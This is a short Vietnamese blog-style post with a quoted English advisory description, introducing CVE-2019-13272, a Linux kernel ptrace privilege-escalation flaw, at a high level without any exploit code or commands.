Linux: broken permission and object lifetime handling for PTRACE_TRACEME - Chiếm quyền root hầu hết các máy chạy Linux

Mở đầu

• Ngày hôm qua, 1 thành viên trong đội của tôi đã gửi cho tôi 1 bài post trên facebook nói về con CVE-2019-13272 này. Sau một hồi tìm hiểu thì con CVE này cực kì nghiêm trọng. Nó có thể chiếm quyền root máy của bạn chỉ sau đúng một nốt nhạc. Bài viết này chỉ mang tính giới thiệu, bạn nào muốn tìm hiểu về cách thức hoạt động của con CVE-2019-13272 thì bạn có thể tìm hiểu trên mạng nhé ^^.

A flaw in the kernels implementation of ptrace which could inadvertantly grant elevated permissions to an attacker who could abuse the relationship between tracer and the process being traced.

The mechanism used to link the process requesting the ptrace and the process being ptraced could allow a local user to obtain root level priviledges by creating an opportunity to abuse the frequently used pattern of dropping privileges and then execve a child with reduced privileges/permissions.
